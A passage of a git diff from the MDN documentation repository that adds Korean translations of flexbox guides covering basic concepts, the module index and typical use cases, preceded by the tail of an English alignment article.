The Box Alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use column-gap and row-gap in flex layouts too, and in Firefox 63 you will find the first browser implementation of the gap properties in flex layout.

+ +

My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout, and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.

+ +

See Also

+ + diff --git "a/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" "b/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" new file mode 100644 index 0000000000..1966114608 --- /dev/null +++ "b/files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" @@ -0,0 +1,236 @@ +--- +title: flexbox의 기본 개념 +slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +--- +
{{CSSRef}}
+ +

일명 flexbox라 불리는 Flexible Box module은 flexbox 인터페이스 내의 아이템 간 공간 배분과 강력한 정렬 기능을 제공하기 위한 1차원 레이아웃 모델 로 설계되었습니다. 이 글에서는 flexbox의 주요 기능에 대한 개요를 다룹니다. 더 자세한 내용은 가이드의 다른 글에서 탐구하게 될 것입니다.

+ +

flexbox를 1차원이라 칭하는 것은, 레이아웃을 다룰 때 한 번에 하나의 차원(행이나 열)만을 다룬다는 뜻입니다. 이는 행과 열을 함께 조절하는 CSS 그리드 레이아웃의 2차원 모델과는 대조됩니다.

+ +

flexbox의 두 개의 축

+ +

flexbox를 다루려면 주축과 교차축이라는 두 개의 축에 대한 정의를 알아야 합니다. 주축은 {{cssxref("flex-direction")}} 속성을 사용하여 지정하며 교차축은 이에 수직인 축으로 결정됩니다. flexbox의 동작은 결국 이 두 개의 축에 대한 문제로 환원되기 때문에 이들이 어떻게 동작하는지 처음부터 이해하는 것이 중요합니다.

+ +

주축

+ +

주축은 flex-direction에 의해 정의되며 4개의 값을 가질 수 있습니다:

+ +
    +
  • row
  • +
  • row-reverse
  • +
  • column
  • +
  • column-reverse
  • +
+ +

row 혹은 row-reverse를 선택하면 주축은 인라인 방향으로 행을 따릅니다.

+ +

If flex-direction is set to row the main axis runs along the row in the inline direction.

+ +

column 혹은 column-reverse 을 선택하면 주축은 페이지 상단에서 하단으로 블록 방향을 따릅니다.

+ +

If flex-direction is set to column the main axis runs in the block direction.

+ +

교차축

+ +

교차축은 주축에 수직하므로, 만약 flex-direction(주축)이 row 나 row-reverse 라면 교차축은 열 방향을 따릅니다.

+ +

If flex-direction is set to row then the cross axis runs in the block direction.

+ +

주축이 column 혹은 column-reverse 라면 교차축은 행 방향을 따릅니다.

+ +

If flex-direction is set to column then the cross axis runs in the inline direction.

+ +

flex 요소를 정렬하고 끝을 맞추(justify)려면 어느 축이 어느 방향인지 이해하는 것이 중요합니다; flexbox는 주축, 교차축을 따라 항목을 정렬하고 끝을 맞추는 각종 속성들을 적용하는 방식으로 동작합니다.

+ +

시작선과 끝선

+ +

flexbox가 쓰기 방법(writing mode)을 가정하지 않는다는 것은 상당히 중요합니다. 과거의 CSS는 왼쪽에서 오른쪽으로 향하는 가로 방향의 쓰기 방법에 치우쳐 있었습니다. 하지만 현대의 레이아웃은 다양한 쓰기 방법을 포괄해야 하므로, 더이상 텍스트가 문서의 왼쪽 상단에서 시작해서 오른쪽으로 향한다고 가정하지 않습니다. 새 라인이 항상 아래에 쌓인다고 가정하지도 않습니다.

+ +

다른 글에서 flexbox와 쓰기 방법 명세(writing mode spec.)가 어떤 관련이 있는지 알아볼 수 있습니다. 그 전에, 이 글에서 flex 요소의 정렬 방향에 "왼쪽, 오른쪽, 위, 아래"를  사용하지 않는 이유를 알 수 있었으면 합니다.

+ +

flex-direction이 row고 영어 문장을 문서에 쓰고 있다면, 주축의 시작선은 왼쪽 끝, 끝선은 오른쪽 끝이 될 것입니다.

+ +

Working in English the start edge is on the left.

+ +

아랍어 문장을 쓰고 있다면, 주축의 시작선은 오른쪽 끝, 끝 선은 왼쪽 끝이 될 것입니다.

+ +

The start edge in a RTL language is on the right.

+ +

영어와 아랍어는 모두 가로 쓰기를 채택하고 있으므로 두 예시에서 교차축의 시작선은 flex 컨테이너의 위 끝이며 끝선은 아래 끝입니다.

+ +

조금만 지나면 왼쪽-오른쪽으로 생각하는 것보다 시작선-끝선으로 생각하는 것이 금새 자연스러워질 것입니다. 동일한 패턴을 따르는 CSS 그리드 레이아웃 같은 방법을 다룰 때도 쉽게 적응할 수 있을 것입니다.

+ +

flex 컨테이너

+ +

문서의 영역 중에서 flexbox가 놓여있는 영역을 flex 컨테이너라고 부릅니다. flex 컨테이너를 생성하려면 영역 내의 컨테이너 요소의 {{cssxref("display")}} 값을 flex 혹은 inline-flex로 지정합니다. 이 값이 지정된 컨테이너의 일차 자식(direct children) 요소가 flex 항목이 됩니다. display 속성만 지정하여 flex 컨테이너를 생성하면 다른 flex 관련 속성들은 아래처럼 기본 값이 지정됩니다.

+ +
    +
  • 항목은 행으로 나열됩니다. (flex-direction 속성의 기본값은 row입니다).
  • +
  • 항목은 주축의 시작 선에서 시작합니다.
  • +
  • 항목은 주 차원 위에서 늘어나지는 않지만 줄어들 수 있습니다.
  • +
  • 항목은 교차축의 크기를 채우기 위해 늘어납니다.
  • +
  • {{cssxref("flex-basis")}} 속성은 auto로 지정됩니다.
  • +
  • {{cssxref("flex-wrap")}} 속성은 nowrap으로 지정됩니다.
  • +
+ +

이렇게되면 flex 항목들은 각 항목 별 내부 요소의 크기로 주축을 따라 정렬됩니다. 컨테이너의 크기보다 더 많은 항목이 있을 경우 행을 바꾸지 않고 주축 방향으로 흘러 넘치게 됩니다. 어떤 항목이 다른 항목보다 높이 값이 크다면 나머지 모든 항목들은 그에 맞게 교차축을 따라 늘어나게 됩니다.

+ +

다음의 라이브 예시를 통해 어떻게 보여지는지 확인할 수 있습니다. flexbox의 초기 동작을 시험해보려면 항목을 추가하거나 수정해보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} 

+ +

flex-direction 지정

+ +

flex 컨테이너에 {{cssxref("flex-direction")}} 속성을 지정하면 flex 항목이 나열되는 방향을 변경할 수 있습니다. flex-direction: row-reverse 라고 지정하면 행으로 나열되는 것은 그대로지만 시작 선과 끝 선이 서로 바뀌게 됩니다.

+ +

flex-direction을 column으로 지정하면 주축이 변경되고 항목들은 열로 나열됩니다. column-reverse로 지정하면 그에 더해 시작 선과 끝 선이 서로 바뀌게 됩니다.

+ +

다음의 라이브 예시는 flex-direction이 row-reverse로 지정되어 있습니다. row, columncolumn-reverse와 같은 값을 지정해서 어떻게 되는지 확인해보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

+ +

flex-wrap을 이용한 복수 행 flex 컨테이너 지정

+ +

flexbox는 1차원 모델이지만 flex 항목이 여러 행에 나열되도록 할 수 있습니다. 그 경우 각 행이 새로운 flex 컨테이너라고 생각해야 합니다. 공간 배분은 해당 행에서만 이루어지며 다른 행은 영향을 받지 않습니다.

+ +

항목이 여러 행에 나열되도록 하려면 {{cssxref("flex-wrap")}} 속성의 값을 wrap으로 지정합니다. 그러면 항목이 하나의 행에 들어가지 않을 정도로 클 경우 다른 행에 배치됩니다. 아래의 라이브 예시에 있는 flex 항목은 폭이 지정되어 있으며 항목들의 폭의 합은 flex 컨테이너에 들어가기에는 너무 넓습니다. flex-wrap속성이 wrap으로 지정되어 있으므로 항목은 여러 행에 나열됩니다. 초깃값과 동일한 nowrap을 지정하고 flex항목에 대한 확대/축소 방식을 별도로 지정하지 않으면 flex 항목들은 컨테이너의 폭에 맞게 줄어듭니다.  nowrap을 지정하면 항목이 전혀 줄어들 수 없거나 충분히 줄어들 수 없을 때 흘러넘치게 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}

+ +

Mastering Wrapping of Flex Items 가이드에서 더 자세한 내용을 확인할 수 있습니다.

+ +

축약형 속성 flex-flow

+ +

flex-direction 속성과 flex-wrap 속성을 {{cssxref("flex-flow")}}라는 축약 속성으로 합칠 수 있습니다. 첫 번째 값은 flex-direction이고 두 번째 값은 flex-wrap입니다.

+ +

다음의 라이브 예시에서 첫 번째 값을 flex-direction에 지정 가능한 값들(row, row-reverse, column or column-reverse)로 바꿔보시기 바랍니다. 두 번째 값도 wrap이나 nowrap으로 바꿔보시기 바랍니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

+ +

flex 항목에 지정 가능한 속성들

+ +

flex 항목에 적용할 수 있는 속성은 다음과 같습니다.

+ +
    +
  • {{cssxref("flex-grow")}}
  • +
  • {{cssxref("flex-shrink")}}
  • +
  • {{cssxref("flex-basis")}}
  • +
+ +

이 글에서는 위의 속성들에 대해 간략하게 살펴보겠습니다. 자세한 내용은 Controlling Ratios of Flex Items on the Main Axis에서 다룹니다.

+ +

500 픽셀의 크기를 갖는 flex 컨테이너 내에 100 픽셀 크기의 자식 세 개가 존재할 때, 사용가능한 공간 200 픽셀이 남게 됩니다. 기본적으로 flexbox는 이 공간을 마지막 자식 요소 다음에 빈공간으로 남겨둡니다.

+ +

This flex container has available space after laying out the items.

+ +

위의 세 가지 속성을 변경한다는 것은 flex 항목에게 사용가능한 공간을 분배하는 방식을 변경하는 것입니다. 사용가능한 공간 개념은 flex 항목을 정렬할 때 특히 중요합니다.

+ +

flex-basis 속성

+ +

flex-basis 속성은 항목의 크기를 결정합니다. 이 속성의 기본값은 auto이며, 이 경우 브라우저는 항목이 크기를 갖는지 확인합니다. 위의 사진 예시의 경우 항목의 크기가 100 픽셀이므로 flex-basis의 값으로 100 픽셀이 사용됩니다.

+ +

flex 항목에 크기가 지정되어 있지 않으면, flex 항목의 내용물 크기가 flex-basis 값으로 사용됩니다. 따라서 flex 컨테이너에서 display: flex 속성만을 지정하면 flex항목들이 각 내용물 크기만큼 공간을 차지하게 됩니다.

+ +

flex-grow 속성

+ +

flex-grow값을 양수로 지정하면 flex 항목별로 주축 방향 크기가 flex-basis 값 이상으로 늘어날 수 있게 됩니다. 위의 사진 예시에서 모든 항목의 flex-grow 값을 1로 지정하면 사용가능한 공간은 각 항목에게 동일하게 분배되며, 각 항목은 주축을 따라 분배받은 값만큼 사이즈를 늘려 공간을 차지합니다.

+ +

첫 항목의 flex-grow 값을 2로 지정하고 나머지 두 개의 항목을 1로 지정한다면 각 항목에 지정된 flex-grow 값의 비율에 따라 남은 공간이 분배됩니다. 각 항목의 flex-grow 비율이 2:1:1 이므로 첫 항목에게 100 픽셀, 두 번째와 세 번째 항목에게 50 픽셀씩 분배됩니다.

+ +

flex-shrink 속성

+ +

flex-grow 속성이 주축에서 남는 공간을 항목들에게 분배하는 방법을 결정한다면 flex-shrink 속성은 주축의 공간이 부족할때 각 항목의 사이즈를 줄이는 방법을 정의합니다. 만약 flex 컨테이너flex 항목을 모두 포함할 만큼 넉넉한 공간을 갖고 있지 않고 flex-shrink 값이 양수이면 flex 항목은 flex-basis에 지정된 크기보다 작아집니다. 또한, flex-grow 속성과 마찬가지로 더 큰 flex-shrink 값을 갖는 항목의 사이즈가 더 빨리 줄어듭니다.

+ +

항목의 최소 크기는 실제 축소량을 계산할 때 고려되기 때문에 flex-shrink 속성이 flex-grow 속성에 비해 덜 일관된 모습을 보여줄지도 모릅니다. flex-shrink 속성이 항목의 사이즈를 결정하는 알고리즘에 관해서는 Controlling Ratios of Flex Items on the Main Axis에서 자세히 살펴히보겠습니다.

+ +
+

flex-grow 와 flex-shrink의 값이 비율임을 유의하세요.  flex 항목의 flex 속성을 모두 1 1 200px 로 지정하고 한 항목만 크기가 늘어나는 비율을 타 항목의 두배로 하고 싶으면 해당 flex 항목의 flex 속성을 2 1 200px로 지정하면 되지만, flex 속성 값을 모두  10 1 200px로 지정하고 늘어나는 비율을 두 배로 하고 싶은 항목의 flex 속성 값만 20 1 200px로 지정해도 동일하게 동작합니다.

+
+ +

축약형 속성 flex

+ +

보통은 flex-grow, flex-shrinkflex-basis  값을 각각 사용하지 않고 이 세 속성을 한번에 지정하는 {{cssxref("flex")}} 축약형을 많이 사용합니다. flex 축약형의 값은 flex-grow, flex-shrink, flex-basis 순서로 지정됩니다.

+ +

다음의 라이브 예시에서 flex 축약형의 값들을 조절하면서 시험해 볼 수 있습니다. 첫 값이 flex-grow를 지정하며,  이 첫 값을 양수로 하면 flex 항목이 넓어질 수 있습니다. 두 번째 값은 flex-shrink 를 지정하며 이 두 번째 값에 양수를 지정하면 flex 항목이 좁아질 수 있습니다. 세 번째 값은 flex-basis를 지정하며 이 값은 flex 항목이 넓어지거나 좁아질 때 고려하는 기준 값입니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}

+ +

flex 축약형 표현에 사용할 수 있는 미리 정의된 축약 값들이 아래에 나열되어 있습니다. 이 값들 만으로도 대부분의 경우(use-case)에 대응할 수 있을 것 입니다.

+ +
    +
  • flex: initial
  • +
  • flex: auto
  • +
  • flex: none
  • +
  • flex: <positive-number>
  • +
+ +

flex 항목을 flex: initial로 지정하면  flex: 0 1 auto 로 지정한 것과 동일하게 동작합니다. 이 경우, flex 항목들은  flex-grow가 0이므로  flex-basis값보다 커지지 않고  flex-shrink가 1이므로 flex 컨테이너 공간이 모자라면 크기가 줄어듭니다. 또, flex-basis가 auto이므로 flex 항목은 주축 방향으로 지정된 크기 또는 자기 내부 요소 크기 만큼 공간을 차지합니다.

+ +

flex: auto 로 지정하면 flex: 1 1 auto로 지정한 것과 동일하며, flex:initial 과는 주축 방향 여유 공간이 있을 때 flex 항목들이 늘어나서 주축 방향 여유 공간을 채우는 점만 다릅니다.

+ +

flex: none으로 지정하면 flex: 0 0 auto으로 지정한 것과 동일하며 flex 컨테이너의 크기 변화에도 flex 항목 크기는 변하지 않고 flex-basis를 auto로 지정했을 때 정해지는 크기로 결정됩니다.  

+ +

이 축약형은 더 축약해서 flex: 1 이나 flex: 2처럼 쓸수도 있는데, 이는 flex-grow 만 지정하고 나머지는 1 0으로 사용한다는 뜻이다. 따라서 flex: 2는 flex: 2 1 0와 동일하게 처리됩니다.

+ +

다음 라이브 예제에서 이 축약 값들을 시험해 볼 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}

+ +

정렬, 끝 맞추기(justification), flex 항목간 여유 공간 분배

+ +

flexbox의 주 기능 중 하나는 (주축과 교차축으로 표현되는) flex 컨테이너 공간 안에 flex 항목들을 정렬하고 끝 마추며 여유 공간을 항목 간에 분배하는 것입니다. 

+ +

역주) 이 절의 내용은 편의상 flex 컨테이너의 flex-direction를 row로 가정하고 '행'과 '열'로 표기했습니다.

+ +

align-items

+ +

{{cssxref("align-items")}}는 flex 컨테이너에 지정하는 속성이며, 교차축을 따라 flex 항목 열을 정렬하는 방식을 지정합니다. 

+ +

이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 stretch이며 이 값을 지정하면 flex 항목의 높이는 flex 컨테이너flex 항목 행의 최대 높이로 지정됩니다. 따라서, flex 항목 행이 하나 일 때는 flex 항목은 교차축 방향으로 flex 컨테이너를 가득 채우게 됩니다.

+ +

이 속성을 flex-start로 지정하면 flex 항목의 첫 열이 교차축 방향의 시작선에 정렬됩니다. flex-end로 지정하면 flex 항목의 첫 열이 교차축 방향의 끝선에 정렬됩니다. center로 지정하면 flex 항목 행에 배분된 공간의 가운데 라인에 정렬됩니다.

+ +

다음 라이브 예제에서 이 값들을 시험해 볼 수 있습니다. - 이 시험을 위해 의도적으로 flex 컨테이너에 높이를 지정해 두었습니다.

+ +
    +
  • stretch
  • +
  • flex-start
  • +
  • flex-end
  • +
  • center
  • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}

+ +

justify-content

+ +

{{cssxref("justify-content")}} 속성은 주축을 따라 flex 항목 행을 정렬하는 방식을 지정합니다.

+ +

이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 flex-start이며 이 값을 지정하면 flex 항목 행 내의 항목들은 flex 컨테이너의 시작선에서 부터 정렬됩니다. flex-end로 지정하면 flex 항목 행의 마지막 항목이 flex 컨테이너의 끝선에서 정렬됩니다. center로 지정하면 flex 항목들이 flex 항목 행의 가운데 정렬됩니다.

+ +

space-between을 지정하면 주죽 방향 여유 공간을 flex 항목 사이의 공간에 균등 배분합니다. 

+ +

space-around는 시작선 및 끝선과 flex 항목간 공간도 균등 배분에 고려하므로 시작선 및 끝선과 flex 항목 간의 공간의 크기를 1로 배분한다면 flex 항목 사이의 공간은 2로 배분합니다. 

+ +

space-evenly로 지정하면 여유 공간을 flex 항목 사이의 공간 및 시작선 및 끝선과 flex 항목 간의 공간에 모두 균등하게 배분합니다.

+ +

다음 라이브 예제에서 justify-content에 지정할 수 있는 다음 값들을 시험해 볼 수 있습니다.

+ +
    +
  • stretch
  • +
  • flex-start
  • +
  • flex-end
  • +
  • center
  • +
  • space-around
  • +
  • space-between
  • +
  • space-evenly
  • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}

+ +

이 절에서 설명한 내용으로 대부분의 경우에 대응할 수 있지만,  Aligning Items in a Flex Container 에서 이 속성들을 더 자세히 살펴볼 것입니다.

+ +

Next steps

+ +

Flexbox의 개요를 살펴보았습니다. 다음 글 how this specification relates to other parts of CSS에서 이 규격이 다른 CSS 규격과 어떻게 연관되어 있는지 말씀드리겠습니다.

diff --git a/files/ko/web/css/css_flexible_box_layout/index.html b/files/ko/web/css/css_flexible_box_layout/index.html new file mode 100644 index 0000000000..d098a530b4 --- /dev/null +++ b/files/ko/web/css/css_flexible_box_layout/index.html @@ -0,0 +1,108 @@ +--- +title: CSS Flexible Box Layout +slug: Web/CSS/CSS_Flexible_Box_Layout +tags: + - CSS + - CSS Flexible Boxes + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Flexible_Box_Layout +--- +
{{CSSRef}}
+ +

CSS Flexible Box Layout은 사용자 인터페이스 디자인과 단방향 레이아웃에 최적화된 CSS 모듈입니다. 플렉스 레이아웃 모델에서는, 플렉스 컨테이너의 자식을 어떤 방향으로도 배치할 수 있으며, 자식의 크기도 유연하게("플렉시블") 빈 공간을 채우거나, 컨테이너를 넘어가지 않도록 줄어듭니다. 자식 간의 수평 및 수직 정렬 또한 쉽게 조작할 수 있습니다.

+ +

기본 예제

+ +

다음 예제의 컨테이너는 display: flex를 적용한 상태입니다. 따라서 컨테이너의 세 자식은 플렉스 항목이 됩니다. justify-content의 값은 space-between으로, 각 아이템을 주축(가로축)에 균일한 간격으로 배치합니다. 그래서 같은 양의 공간이 자식 사이에 균일하게 생기며 왼쪽과 오른쪽 아이템이 플렉스 컨테이너의 양 모서리에 붙어서 배치됩니다. 또한 align-items의 기본값인 stretch로 인해, 각 항목의 높이가 플렉스 컨테이너의 높이까지 늘어나서 세 자식 모두 제일 높이가 큰 항목과 같은 높이가 되는 것도 확인할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("flex")}}
  • +
  • {{cssxref("flex-basis")}}
  • +
  • {{cssxref("flex-direction")}}
  • +
  • {{cssxref("flex-flow")}}
  • +
  • {{cssxref("flex-grow")}}
  • +
  • {{cssxref("flex-shrink")}}
  • +
  • {{cssxref("flex-wrap")}}
  • +
  • {{cssxref("order")}}
  • +
+
+ +

정렬 속성

+ +

align-content, align-self, align-items, justify-content 속성은 플렉스박스 명세에서 처음 나왔지만, 지금은 박스 정렬 명세가 정의하며 플렉스박스 명세는 박스 정렬 명세를 참조하고 있습니다. 추가 정렬 속성도 박스 정렬 명세가 가지고 있습니다.

+ +
+
    +
  • {{cssxref("justify-content")}}
  • +
  • {{cssxref("align-content")}}
  • +
  • {{cssxref("align-items")}}
  • +
  • {{cssxref("align-self")}}
  • +
  • {{cssxref("place-content")}}
  • +
  • {{cssxref("place-items")}}
  • +
  • {{cssxref("row-gap")}}
  • +
  • {{cssxref("column-gap")}}
  • +
  • {{cssxref("gap")}}
  • +
+
+ +

용어

+ +
+
    +
  • {{Glossary("Flexbox", "플렉스박스")}}
  • +
  • {{Glossary("Flex Container", "플렉스 컨테이너")}}
  • +
  • {{Glossary("Flex Item", "플렉스 항목")}}
  • +
  • {{Glossary("Main Axis", "주축")}}
  • +
  • {{Glossary("Cross Axis", "교차축")}}
  • +
  • {{Glossary("Flex", "플렉스")}}
  • +
+
+ +

안내서

+ +
+
플렉스박스의 기본 개념
+
플렉스박스의 기능 개요입니다.
+
다른 레이아웃과 플렉스박스의 관계
+
플렉스박스와 다른 레이아웃 방법, 그리고 다른 CSS 명세가 가진 관계를 설명합니다.
+
플렉스 컨테이너의 아이템 정렬하기
+
박스 정렬 속성이 플렉스박스에서 동작하는 방식을 설명합니다.
+
플렉스 아이템 배치하기
+
아이템의 순서와 방향을 바꾸는 여러 방법과, 이 때 발생할 수 있는 여러 문제를 다룹니다.
+
플렉스 아이템의 주요 축 비율 조절하기
+
flex-grow, flex-shrink, flex-basis 속성을 설명합니다.
+
플렉스 아이템 줄바꿈 마스터하기
+
여러 줄로 이뤄진 플렉스 컨테이너를 만드는 방법과, 컨테이너 아이템의 표시 방법 설정을 설명합니다.
+
플렉스박스의 일반적인 용례
+
일반적인 플렉스박스 디자인 패턴입니다.
+
플렉스박스의 하위 호환성
+
플렉스박스의 브라우저 상태, 상호 호환성 이슈와 함께 구형 브라우저와 이전 명세를 지원하는 방법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS3 Flexbox') }}{{ Spec2('CSS3 Flexbox') }}초기 정의.
diff --git "a/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" "b/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" new file mode 100644 index 0000000000..a9f75246aa --- /dev/null +++ "b/files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" @@ -0,0 +1,141 @@ +--- +title: 가변상자의 대표적인 사용례 +slug: Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례 +tags: + - 가변상자 + - 씨에스에스 + - 안내서 + - 용례 + - 패턴 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +--- +

{{CSSRef}}

+ +

이번 안내서에서는 흔히 볼 수 있는 가변상자 사용 사례 중 일부를 살펴 보겠습니다. 가변상자의 사용이 다른 조판 메서드보다 더 적합한 사례입니다.

+ +

왜 가변상자를 선택?

+ +

완벽한 브라우저 지원 환경에서 가변상자를 사용하기로 선택한 이유는 항목 모음을 한 방향 또는 다른 방향으로 배치하길 원하기 때문입니다. 우리가 항목을 배치할 때 해당 일차원의 항목 크기를 제어하거나 항목 간 간격을 제어하려고 합니다. 이것이 가변상자를 설계한 목적에 맞는 용도입니다. 가변상자와 여타 씨에스에스 조판 메서드의 관계에서 가변상자와 씨에스에스 격자 조판의 차이점에 대해 자세히 읽을 수 있습니다. 그곳에선 가변상자가 씨에스에스 조판의 전체 그림에서 어떤 역할을 하고 있는지에 대해 논의합니다.

+ +

실제로 격자 조판에 의해 더 잘 수행 될 수있는 작업이나 격자에 대한 대체품 및 정렬 기능을 얻기 위해 가변상자를 종종 사용합니다. 당 사용례는 블록 조판에서 상자 정렬 (Box Alignment) 이 구현되고 나면 변경될 수 있습니다. 이 안내서에서는 오늘날 가변상자가 쓰일 수 있는 몇 가지 대표적인 사용례를 살펴봅니다.

+ +

탐색 메뉴

+ +

탐색 메뉴의 일반적인 패턴은 항목 목록을 가로 막대로 표시하는 것입니다. 이 패턴은 기본적으로 가변상자 이전에는 달성하기 어려웠습니다. 이는(탐색 가로 막대) 가장 간단한 가변상자 예제를 형성하며 이상적인 가변상자 사용 사례로 간주될 수 있습니다.

+ +

가로로 표시하려는 항목 집합이 있으면 잉여 공간이 생길 수밖에 없습니다. 우리는 그 공간으로 무엇을 해야할지 결정해야 하며 몇 가지 선택 옵션이 있습니다. 일번 선택은 우리가 항목 무리 이외의 공간을 표시합니다. 따라서 그 사이 또는 그 주변에 공백이 생깁니다. 또는 항목 내부 여분의 공간을 흡수하려면 항목 집합이 이 공간을 확장하고 점유할 수 있는 메소드가 필요합니다.

+ +

항목 외부에 공간 분배

+ +

항목 사이 또는 주위에 공간을 분배시키기 위해 가변상자의 정렬 속성과 {{cssxref("justify-content")}} 속성을 사용합니다. 이 속성에 대한 자세한 내용은 기본 축을 기준으로 항목 정렬을 처리하는 가변 컨테이너의 항목 정렬에서 확인할 수 있습니다.

+ +

아래 실제 예에서 우리는 항목을 원래 크기로 표시하고 justify-content: space-between를 사용하여 항목 사이의 간격을 동일하게 만듭니다. space-around 값을 사용하거나, 지원이 될 경우 space-evenly를 사용해 공간이 분배되는 방식을 변경할 수 있습니다. flex-start를 사용하여 항목 끝에 공간을 배치하거나 flex-end를 사용하여 항목 앞에 배치하거나 center를 사용해 탐색 항목 중앙에 배치할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

+ +

항목 내부에 공간 분배

+ +

탐색 메뉴를 위한 다른 패턴은 항목 사이에 공간을 만드는 것이 아니라 항목 자체 내에 사용 가능한 공간을 분배하는 것입니다. 이 경우, 주축을 따라 가변 항목의 비율 제어에서 설명된대로 가변 속성을 사용하여 항목이 서로 비례하여 확대 및 축소되도록 합니다.

+ +

모든 탐색 메뉴 항목의 너비를 동일하게 하려면 flex: auto를 사용하면 됩니다. 그것은 flex: 1 1 auto의 약칭으로 모든 항목이 자동이란 가변 기반에 따라 확대되거나 축소됩니다. 여기서 자동이란 항목이 길수록 더 많은 공간이 생긴다는 말입니다.

+ +

아래의 실제 예제에서 flex: autoflex: 1로 변경해보십시요. 이것은 flex: 1 1 0의 약칭입니다. 모든 항목이 0의 가변 기반에서 작동하여 모든 공간을 고르게 배분할 수 있기 때문에 모든 항목이 동일한 너비가 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

+ +

탐색 메뉴 분할

+ +

주축에서 항목을 정렬하는 또 다른 방법은 자동 여백을 사용하는 것입니다. 이를 통해 한 그룹의 항목이 왼쪽으로 정렬되고 다른 그룹이 오른쪽으로 정렬되는 탐색 모음(메뉴)의 디자인 패턴이 가능합니다.

+ +

여기에서는 주축 정렬에 대한 자동 여백 사용에서 설명된 자동 여백 기술을 사용합니다. 항목 무리는 flex-start를 사용해 주축에 정렬됩니다. 그것이 가변상자의 초기값 동작이며, 우리가 항목을 오른쪽으로 정렬하려면 왼쪽 여백을 자동으로 지정합니다. 클래스 지정을 한 항목에서 다른 항목으로 이동하여 분할이 발생하는 위치를 변경할 수 있습니다.

+ +

또한 이 예제에서는 가변 항목에 여백을 사용하여 항목 사이에 간격을 만들고 컨테이너에 음의 여백을 사용하여 항목이 여전히 오른쪽 및 왼쪽 가장자리와 맞붙도록 합니다. 박스 정렬 (Box Alignment) 규격의 gap 속성이 가변상자에 구현될 때까지 항목 간에 배수구를 만들려면 이 방식으로 여백을 사용해야 합니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

+ +

항목 중심에 놓기

+ +

가변상자 이전에 개발자들은 웹 디자인에서 가장 어려운 문제는 수직 중심이라고 농담할겁니다. 다음 실제 예제에서 볼 수 있듯이 가변상자의 정렬 속성을 사용하여 간단하게 만들었습니다.

+ +

항목에 flex-start를 지정해 시작 부분으로 정렬하거나 flex-end를 지정해 끝 부분에 항목을 정렬하는 식으로 정렬을 맘대로 조정할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

+ +

박스 정렬 (Box Alignment) 속성은 궁극적으로 블록 조판의 내용으로 구현될 예정이므로 미래에는 단일 아이템을 중앙에 배치하기 위해 컨테이너를 가변 컨테이너로 만들 필요는 없습니다. 그러나 당장은 하나의 것을 다른 것의 중심에 올바로 배치해야하는 경우 가변상자를 사용하는 게 맞습니다. 위의 예에서와 같이 컨테이너를 가변 컨테이너로 만든 다음 상위 요소에 대해 align-items을 사용하거나 가변 항목 자체를 align-self로 공략합니다.

+ +

바닥글을 아래로 밀어내는 카드 조판

+ +

가변상자 또는 씨에스에스 격자를 사용하여 카드 구성 요소의 목록을 조판하더라도, 이들 조판 메서드는 가변 또는 격자 구성 요소의 직계 자식에서만 작동합니다. 즉, 콘텐츠의 크기가 가변적이면 카드가 격자 영역의 높이나 가변 컨테이너의 높이까지 늘어납니다. 모든 내부 콘텐츠는 친숙한 블록 조판을 사용합니다. 즉, 콘텐츠가 적은 카드에서는 바닥글이 카드의 아래쪽에 고정되지 않고 콘텐츠의 밑단까지 차오릅니다.

